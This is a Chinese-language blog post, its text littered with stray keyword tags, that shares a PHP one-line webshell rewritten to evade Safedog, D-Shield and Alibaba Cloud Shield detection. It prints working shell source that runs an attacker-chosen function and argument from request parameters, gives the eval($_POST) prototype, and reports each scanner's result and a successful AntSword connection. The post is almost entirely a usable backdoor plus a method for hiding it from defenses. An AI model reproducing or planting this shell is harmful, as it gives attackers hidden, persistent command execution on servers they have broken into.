前言php
在測試某網站時,發現爲阿里雲服務器,上傳的一句話均被kill掉,因而搞了個過web安全狗,D盾,雲盾的一句話木馬,在此分享出來。web
正文安全
一句話源碼:服務器
1 <?php 2 class a{ 3 public function __construct(){ 4 $this->a = $_REQUEST['a']; 5 } 6 public function get(){ 7 $a = $this->a; 8 return $a; 9 } 10 } 11 $func = new a; 12 # call_user_func_array($func->get(),$_REQUEST['b']); 13 $params = $_REQUEST['b']; 14 function callback($a,$b){ 15 $a($b); 16 } 17 callback($func->get(),$params);
WEB安全狗 V4.0:函數
D盾:web安全
若是一句話中使用 call_user_func_array 作回調函數的話會產生級別2:測試
阿里雲盾:網站
首先上傳一個一句話木馬原型:<?php eval($_POST['xxx'])?>this
能夠看到被檢測出,在上傳過狗一句話:阿里雲
能夠看到阿里雲一句話使用蟻劍鏈接成功。
最後
其實一句話想過狗並無想象中的那麼難,總之就是將簡單的事情複雜化,經過各類手段執行一句話原型便可。